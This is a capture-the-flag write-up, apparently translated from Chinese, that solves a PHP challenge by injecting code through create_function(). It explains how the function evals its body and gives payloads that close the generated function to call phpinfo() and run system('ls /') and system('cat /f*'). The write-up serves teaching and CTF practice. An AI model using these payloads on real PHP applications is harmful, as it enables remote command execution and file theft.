Red Envelope Challenge 8
The source code is as follows
<?php
highlight_file(__FILE__);
error_reporting(0);
extract($_GET);
create_function($name,base64_encode($value))();
Examine creat_function
functions
create_function() function
Scope of application: PHP 4> = 4.0.1
, PHP 5
,PHP 7
Function: Create an anonymous function based on the passed parameters and return a unique name for it.
grammar:
create_function(string $args,string $code)
//string $args 声明的函数变量部分
//string $code 执行的方法代码部分
Functional analysis:
<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
?>
Output:
New anonymous function: lambda_1
ln(2) + ln(2.718281828459) = 1.6931471805599
reate_function()
will create an anonymous function ( lambda
style)
create_function()
The function will be executed internally , and we find that the following statement eval()
is executed , which belongs to the second parameter position.return
create_function()
string $code
Therefore the create_function function is equivalent to
<?php
function lambda1($a,$b){
return "ln($a) + ln($b) = " . log($a * $b);
}
?>
Code injection example:
<?php
//sorry , here is true last level
//^_^
error_reporting(0);
include "str.php";
$a = $_GET['a'];
$b = $_GET['b'];
if(preg_match('/^[a-z0-9_]*$/isD',$a)){
show_source(__FILE__);
}
else{
$a('',$b);
}
The last one /i
is case-insensitive and /s
matches any invisible character . /D
If the ending character is restricted by $, no newline at the end is allowed.
Construct payload:
?a=\create_function&b=return 'Leaf';}phpinfo();/*
\
The function is to bypass the regular matching preg_match
. The first semicolon is to return
end the statement. }
The function is to create_function
close the statement. Then phpinfo();
it is added after the execution /*
to comment out the final brace to ensure the normal execution of phpinfo().
To briefly explain, creat_function
it is to create a function, here
create_function($name,base64_encode($value))();
It can be viewed as the following code:
creat($name){
base64_encode($value)
}
函数片段
That is to say, look at it as
base54_encode($value)
You can also ignore it for now and deal with it first.$name
What we have to do is to close the function we created and then execute the next statement
Assume name
the value passed in
?name=){}phpinfo();/*
We $name
bring in the payload
#带入$name
creat(){
}phpinfo();/*){
base64_encode($value)
}
Sort it out
creat(){
#空语句
}phpinfo();/*){
base64_encode($value)
}
From this it can be executedphpinfo()
Back to the question, creat_function
it has been given. We need to pass it in $name
to close its statement and execute our command, and then pass it in $value
(this can be passed in casually)
But one thing to note here is that we not only need to close creat_function
but also close ($name)
the parentheses
Construct the payload directly:
?value=Leaf&name=){}system('ls /');/*
Modify the command to cat /f*
get the flag
?value=Leaf&name=){}system('cat /f*');/*
This question can refer to: [NISACTF 2022] level-up